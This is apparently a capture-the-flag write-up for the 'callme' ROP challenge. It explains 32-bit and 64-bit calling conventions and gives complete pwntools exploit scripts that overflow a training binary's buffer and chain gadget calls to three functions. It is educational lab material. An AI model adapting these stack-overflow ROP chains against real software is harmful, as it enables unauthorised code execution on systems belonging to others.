callme

callme 32bit

Solution

This challenge intends to teach calling conventions in depth. Recall that 32-bit binaries store function arguments on the stack:
function
return_address,
arg1,
arg2,
arg3
What if we want to call multiple functions? The trick is to "clean up" the stack after each function call. In our case, each function takes three arguments, so we find a pop pop pop ret gadget. One candidate is pop esi ; pop edi ; pop ebp ; ret. If we use this gadget as the return address for each function, the three arguments for the current function will be popped off the stack.

Exploit

#!/usr/bin/env python3
from pwn import *
​
#--------Setup--------#
​
context(arch="i386", os="linux")
elf = ELF("callme32", checksec=False)
​
#--------Offset--------#
​
p = elf.process()
pattern = cyclic(1024)
p.sendlineafter("> ", pattern)
p.wait()
core = p.corefile
p.close()
os.remove(core.file.name)
offset = cyclic_find(core.eip)
​
log.info(f"{offset = }")
​
#--------ROP--------#
​
callme_one = elf.plt["callme_one"]
callme_two = elf.sym["callme_two"]
callme_three = elf.plt["callme_three"]
# ROPgadget --binary callme32 --only "pop|ret"
pop_pop_pop_ret = 0x080487f9
​
arg1 = 0xdeadbeef
arg2 = 0xcafebabe
arg3 = 0xd00df00d
​
payload = flat(
b"A" * offset,
# Function 1
callme_one,
pop_pop_pop_ret, # return address for callme_one
arg1, arg2, arg3, # args for callme_one
# Function 2
callme_two,
pop_pop_pop_ret, # return address for callme_two
arg1, arg2, arg3, # args for callme_two
# Function 3
callme_three,
pop_pop_pop_ret, # return address for callme_three
arg1, arg2, arg3, # args for callme_three
)
​
p = elf.process()
​
p.sendlineafter("> ", payload)
​
p.interactive()

64bit

Solution

The 64-bit case is even simpler. Here we simply find a pop rdi ; pop rsi ; pop rdx ; ret gadget to set up the arguments and call the function. Repeat the same process for each function.

Exploit

#!/usr/bin/env python3
from pwn import *
​
#--------Setup--------#
​
context(arch="amd64", os="linux")
elf = ELF("callme", checksec=False)
​
#--------Offset--------#
​
p = elf.process()
pattern = cyclic(1024)
p.sendlineafter("> ", pattern)
p.wait()
core = p.corefile
p.close()
os.remove(core.file.name)
offset = cyclic_find(core.read(core.rsp, 4))
​
log.info(f"offset: {offset}")
​
#--------ROP--------#
​
callme_one = elf.plt["callme_one"]
callme_two = elf.plt["callme_two"]
callme_three = elf.plt["callme_three"]
# ROPgadget --binary callme --only "pop|ret" | grep rdi
pop_rdi_rsi_rdx = 0x40093c
ret = 0x4006be
​
arg1 = 0xdeadbeefdeadbeef
arg2 = 0xcafebabecafebabe
arg3 = 0xd00df00dd00df00d
​
payload = flat(
b"A" * offset,
​
# Function 1
pop_rdi_rsi_rdx, arg1, arg2, arg3,
ret, callme_one,
​
# Function 2
pop_rdi_rsi_rdx, arg1, arg2, arg3,
ret, callme_two,
​
# Function 3
pop_rdi_rsi_rdx, arg1, arg2, arg3,
ret, callme_three,
)
​
p = elf.process()
​
p.sendlineafter("> ", payload)
​
p.interactive()
Last modified 6mo ago
Copy link
Outline
callme 32bit
Solution
Exploit
64bit
Solution
Exploit